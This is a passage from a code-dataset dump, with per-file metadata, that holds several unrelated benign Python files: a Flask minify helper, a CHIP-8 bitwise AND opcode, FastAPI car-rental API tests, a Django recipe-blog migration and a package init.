'disable' } set_method_mock.assert_called_with('user', 'group', data=expected_data, vdom='root') schema_method_mock.assert_not_called() assert not is_error assert changed assert response['status'] == 'success' assert response['http_status'] == 200
36.8525
142
0.589444
1,542
14,741
5.351492
0.129702
0.032719
0.035628
0.039384
0.874939
0.867911
0.856398
0.856398
0.856398
0.856398
0
0.017789
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14,741
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36.944862
0.74678
0.045044
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0.093663
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false
0.029674
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0
0
0
0
0
0
0
0
0
7
4d3c8e5aff14e957447961584667d6d95c85583b
175
py
Python
portfolio/minify.py
belxlaz/portfolio
8a324f262c88176447f75c2a6c68c0140b15cd42
[ "MIT" ]
2
2015-08-12T18:21:17.000Z
2015-08-12T18:23:14.000Z
portfolio/minify.py
belxlaz/portfolio
8a324f262c88176447f75c2a6c68c0140b15cd42
[ "MIT" ]
null
null
null
portfolio/minify.py
belxlaz/portfolio
8a324f262c88176447f75c2a6c68c0140b15cd42
[ "MIT" ]
null
null
null
from flask import render_template from htmlmin import minify def render_minified(*args, **kwargs): return minify(render_template(*args, **kwargs), remove_comments=True)
25
73
0.782857
23
175
5.782609
0.652174
0.210526
0
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0
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0.12
175
6
74
29.166667
0.863636
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0.25
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1
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1
1
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0
0
7
4d42c64f83c61f1c523d1cb86902ca9850ceda0e
188
py
Python
pychip8/operations/bitwise/bitwise_and.py
edwin-jones/pychip8
da8c850cdba90cbb6d1244de3b6118be8119c67d
[ "MIT" ]
null
null
null
pychip8/operations/bitwise/bitwise_and.py
edwin-jones/pychip8
da8c850cdba90cbb6d1244de3b6118be8119c67d
[ "MIT" ]
4
2018-09-02T20:37:47.000Z
2018-09-08T19:11:08.000Z
pychip8/operations/bitwise/bitwise_and.py
edwin-jones/pychip8
da8c850cdba90cbb6d1244de3b6118be8119c67d
[ "MIT" ]
null
null
null
class BitwiseAnd(): def execute(self, opcode, cpu): cpu.general_purpose_registers[opcode.x] = cpu.general_purpose_registers[opcode.x] & cpu.general_purpose_registers[opcode.y]
62.666667
132
0.760638
25
188
5.48
0.48
0.218978
0.372263
0.569343
0.715328
0.715328
0.715328
0.715328
0.715328
0.715328
0
0
0.12234
188
3
132
62.666667
0.830303
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0.333333
false
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0
1
0
0
0
0
1
0
0
12
4d71c1c4932a64b3b455eaeae41a622f518e6142
3,308
py
Python
backend/app/tests/api/api_v1/test_cars.py
BartlomiejRasztabiga/Rentally
ba70199d329895a5295ceddd0ecc4c61928890dd
[ "MIT" ]
2
2021-01-11T23:24:29.000Z
2021-01-12T09:55:58.000Z
backend/app/tests/api/api_v1/test_cars.py
BartlomiejRasztabiga/Rentally
ba70199d329895a5295ceddd0ecc4c61928890dd
[ "MIT" ]
null
null
null
backend/app/tests/api/api_v1/test_cars.py
BartlomiejRasztabiga/Rentally
ba70199d329895a5295ceddd0ecc4c61928890dd
[ "MIT" ]
null
null
null
from fastapi.testclient import TestClient from sqlalchemy.orm import Session from app.core.config import settings from app.tests.utils.car import create_test_car def test_create_car( client: TestClient, superuser_token_headers: dict, db: Session ) -> None: data = { "model_name": "Foo", "type": "CAR", "fuel_type": "DIESEL", "gearbox_type": "AUTO", "ac_type": "AUTO", "number_of_passengers": 4, "drive_type": "FRONT", "number_of_airbags": 8, "price_per_day": "99.99", } response = client.post( f"{settings.API_V1_STR}/cars/", headers=superuser_token_headers, json=data, ) assert response.status_code == 200 content = response.json() assert content["model_name"] == data["model_name"] assert content["type"] == data["type"] assert content["number_of_passengers"] == data["number_of_passengers"] assert "id" in content def test_get_car_by_id( client: TestClient, superuser_token_headers: dict, db: Session ) -> None: car = create_test_car(db) response = client.get( f"{settings.API_V1_STR}/cars/{car.id}", headers=superuser_token_headers, ) assert response.status_code == 200 content = response.json() assert content["id"] == car.id assert content["model_name"] == car.model_name assert content["type"] == "CAR" assert content["number_of_passengers"] == car.number_of_passengers def test_get_car_by_id_not_exists( client: TestClient, superuser_token_headers: dict, db: Session ) -> None: response = client.get( f"{settings.API_V1_STR}/cars/999999999999", headers=superuser_token_headers, ) assert response.status_code == 404 def test_update_car( client: TestClient, superuser_token_headers: dict, db: Session ) -> None: car = create_test_car(db) data = { "model_name": "test", "type": "CAR", "fuel_type": "DIESEL", "gearbox_type": "AUTO", "ac_type": "AUTO", "number_of_passengers": 8, "drive_type": "FRONT", "number_of_airbags": 8, "price_per_day": "99.99", } response = client.put( f"{settings.API_V1_STR}/cars/{car.id}", headers=superuser_token_headers, json=data, ) assert response.status_code == 200 content = response.json() assert content["id"] == car.id assert content["model_name"] == car.model_name assert content["type"] == "CAR" assert content["number_of_passengers"] == data["number_of_passengers"] def test_delete_car( client: TestClient, superuser_token_headers: dict, db: Session ) -> None: car = create_test_car(db) response = client.delete( f"{settings.API_V1_STR}/cars/{car.id}", headers=superuser_token_headers, ) assert response.status_code == 200 response = client.get( f"{settings.API_V1_STR}/cars/{car.id}", headers=superuser_token_headers, ) assert response.status_code == 404 def test_delete_car_no_permissions( client: TestClient, normal_user_token_headers: dict, db: Session ) -> None: car = create_test_car(db) response = client.delete( f"{settings.API_V1_STR}/cars/{car.id}", headers=normal_user_token_headers, ) assert response.status_code == 401
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0.047596
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0.816416
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0.77222
0.77222
0.691112
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0.019939
0.211608
3,308
110
85
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0.769555
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0.203748
0.072854
0
0
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0.204301
1
0.064516
false
0.053763
0.043011
0
0.107527
0
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null
0
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1
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0
0
0
1
0
0
0
0
0
7
4de249583435fe97babdccd95dd4263c7f017582
3,949
py
Python
blogs/migrations/0007_auto_20190825_0935.py
vincentlee9512/recipe_web
1af9f1e83cb9e4ff31b3e2607f12510f63a8afe7
[ "MIT" ]
null
null
null
blogs/migrations/0007_auto_20190825_0935.py
vincentlee9512/recipe_web
1af9f1e83cb9e4ff31b3e2607f12510f63a8afe7
[ "MIT" ]
null
null
null
blogs/migrations/0007_auto_20190825_0935.py
vincentlee9512/recipe_web
1af9f1e83cb9e4ff31b3e2607f12510f63a8afe7
[ "MIT" ]
null
null
null
# Generated by Django 2.2.4 on 2019-08-25 01:35 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('blogs', '0006_blog_cover'), ] operations = [ migrations.AddField( model_name='blog', name='category', field=models.CharField(default='家常菜', max_length=100), preserve_default=False, ), migrations.AddField( model_name='blog', name='ingredient', field=models.TextField(default='lalalalalala'), preserve_default=False, ), migrations.AddField( model_name='blog', name='step_1', field=models.TextField(default='把食材放进锅里'), preserve_default=False, ), migrations.AddField( model_name='blog', name='step_10', field=models.TextField(blank=True), ), migrations.AddField( model_name='blog', name='step_10_photo', field=models.ImageField(blank=True, upload_to='photos/%Y/%m/%d'), ), migrations.AddField( model_name='blog', name='step_1_photo', field=models.ImageField(blank=True, upload_to='photos/%Y/%m/%d'), ), migrations.AddField( model_name='blog', name='step_2', field=models.TextField(blank=True), ), migrations.AddField( model_name='blog', name='step_2_photo', field=models.ImageField(blank=True, upload_to='photos/%Y/%m/%d'), ), migrations.AddField( model_name='blog', name='step_3', field=models.TextField(blank=True), ), migrations.AddField( model_name='blog', name='step_3_photo', field=models.ImageField(blank=True, upload_to='photos/%Y/%m/%d'), ), migrations.AddField( model_name='blog', name='step_4', field=models.TextField(blank=True), ), migrations.AddField( model_name='blog', name='step_4_photo', field=models.ImageField(blank=True, upload_to='photos/%Y/%m/%d'), ), migrations.AddField( model_name='blog', name='step_5', field=models.TextField(blank=True), ), migrations.AddField( model_name='blog', name='step_5_photo', field=models.ImageField(blank=True, upload_to='photos/%Y/%m/%d'), ), migrations.AddField( model_name='blog', name='step_6', field=models.TextField(blank=True), ), migrations.AddField( model_name='blog', name='step_6_photo', field=models.ImageField(blank=True, upload_to='photos/%Y/%m/%d'), ), migrations.AddField( model_name='blog', name='step_7', field=models.TextField(blank=True), ), migrations.AddField( model_name='blog', name='step_7_photo', field=models.ImageField(blank=True, upload_to='photos/%Y/%m/%d'), ), migrations.AddField( model_name='blog', name='step_8', field=models.TextField(blank=True), ), migrations.AddField( model_name='blog', name='step_8_photo', field=models.ImageField(blank=True, upload_to='photos/%Y/%m/%d'), ), migrations.AddField( model_name='blog', name='step_9', field=models.TextField(blank=True), ), migrations.AddField( model_name='blog', name='step_9_photo', field=models.ImageField(blank=True, upload_to='photos/%Y/%m/%d'), ), ]
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0
0
0
0
0
0
0
0
0
0
10
4dfa4bc54decbf33ffdc80c6979bfd6eca28336f
47
py
Python
coeusfactory/__init__.py
mamerisawesome/coeusfactory
73530e118a9354b8b91f8d4a59f7f025008f366d
[ "MIT" ]
1
2020-02-19T03:03:32.000Z
2020-02-19T03:03:32.000Z
coeusfactory/__init__.py
mamerisawesome/coeusfactory
73530e118a9354b8b91f8d4a59f7f025008f366d
[ "MIT" ]
null
null
null
coeusfactory/__init__.py
mamerisawesome/coeusfactory
73530e118a9354b8b91f8d4a59f7f025008f366d
[ "MIT" ]
null
null
null
from .ConnectorFactory import ConnectorFactory
23.5
46
0.893617
4
47
10.5
0.75
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47
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47
47
0.976744
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0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7